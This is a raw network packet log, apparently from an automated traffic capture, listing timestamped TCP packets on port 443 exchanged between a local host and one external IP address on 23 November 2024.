Nov 23, 2024 13:37:48.158880949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.158961058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.158973932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.159028053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.164462090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.164477110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.164565086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.164578915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.164632082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.170792103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.170808077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.170888901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.170902967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.170958042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.320802927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.320825100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.320955038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.321032047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.321104050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.325928926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.325944901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.326035023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.326051950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.326107979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.332396030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.332412004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.332463026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.332479000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.332509041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.332528114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.338664055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.338679075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.338733912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.338748932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.338802099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.345123053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.345139980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.345218897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.345232964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.345285892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.351144075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.351161003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.351219893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.351239920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.351296902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.357542038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.357558012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.357614040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.357628107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.357678890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.363249063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.363265991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.363357067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.363372087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.363415956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.374967098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.513119936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.513145924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.513220072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.513298035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.513334036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.514312029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.514369011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.514386892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.519931078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.519949913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.519990921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.520008087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.520035982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.526293993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.526307106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.526374102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.526388884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.532684088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.532701969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.532747984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.532762051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.532790899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.538280010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.538294077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.538353920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.538368940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.545093060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.545109987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.545155048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.545176983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.545205116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.550885916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.550900936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.550971985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.551000118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.557102919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.557122946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.557167053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.557187080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.557212114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.611100912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.692382097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.706588030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.706612110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.706804991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.706829071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.706892014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.712224960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.712240934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.712317944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.712333918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.712385893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.718676090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.718691111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.718771935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.718786001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.718838930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.724956989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.724973917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.725049019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.725063086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.725112915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.730535984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.730551004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.730621099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.730635881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.730690002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.737334967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.737353086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.737443924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.737457991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.737509966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.738337994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.738396883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.740112066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.740187883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.746602058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.746615887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.746690035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.746704102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.746757030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.752216101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.752233028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.752309084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.752329111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.752387047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.797348976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.901591063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.901611090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.901714087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.901753902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.901828051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.905967951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.906040907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.906048059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.906089067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.906119108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.907718897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.907782078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.907798052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.907846928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.912751913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.913403034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.913420916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.913499117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.913513899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.913568020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.919810057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.919826984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.919893026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.919907093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.919955969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.921494007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.921556950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.926081896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.926153898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.926176071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.926189899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.926217079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.926235914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.932195902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.932218075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.932287931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.932301998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.932357073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.933917046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.933986902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.939505100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.939519882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.939598083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:48.939613104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:48.952641964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.089633942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.089653015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.090368986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.090393066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.090461016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.095230103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.095244884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.095462084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.095477104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.095551968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.101710081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.101725101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.101888895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.101902962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.101960897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.107260942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.107280016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.107425928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.107439995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.107496977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.110691071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.113630056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.113645077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.113785982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.113801003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.113857985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.119703054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.119718075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.119856119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.119869947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.119925976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.126076937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.126091957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.126205921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.126219988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.126276016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.132452011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.132467985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.132577896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.132591963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.132657051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.188193083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.286350012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.286369085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.286493063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.286515951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.286593914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.292068005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.292083025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.292139053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.292152882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.292180061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.292198896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.298497915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.298512936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.298616886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.298644066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.298696041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.304085016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.304100037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.304176092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.304191113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.304244995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.310560942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.310574055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.310633898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.310648918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.310700893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.315871954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.316943884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.316960096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.317028999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.317042112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.317104101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.322873116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.322887897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.322946072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.322958946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.323029995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.323112965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.329329967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.329344988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.329410076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.329422951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.329488993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.351474047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.512350082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.512371063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.512646914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.512710094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.512782097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.518085957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.518100977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.518191099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.518261909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.518318892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.518318892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.523675919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.523689985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.523787022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.523850918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.523910046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.530028105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.530042887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.530137062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.530153990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.530211926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.536458969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.536474943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.536566019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.536581993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.536638021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.542474031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.542490005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.542558908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.542573929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.542628050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.548912048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.548926115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.549002886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.549017906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.549073935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.554486990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.554502964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.554574966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.554589033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.554646015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.555107117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.703771114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.703794003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.703893900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.703927994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.703994989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.709690094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.709703922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.709764957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.709781885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.709882975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.711692095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.711754084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.717012882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.717026949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.717091084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.717106104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.723740101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.723759890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.723798990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.723823071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.723850965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.729768991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.729783058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.729831934 CET	49704	443	192.168.2.5	172.66.0.235
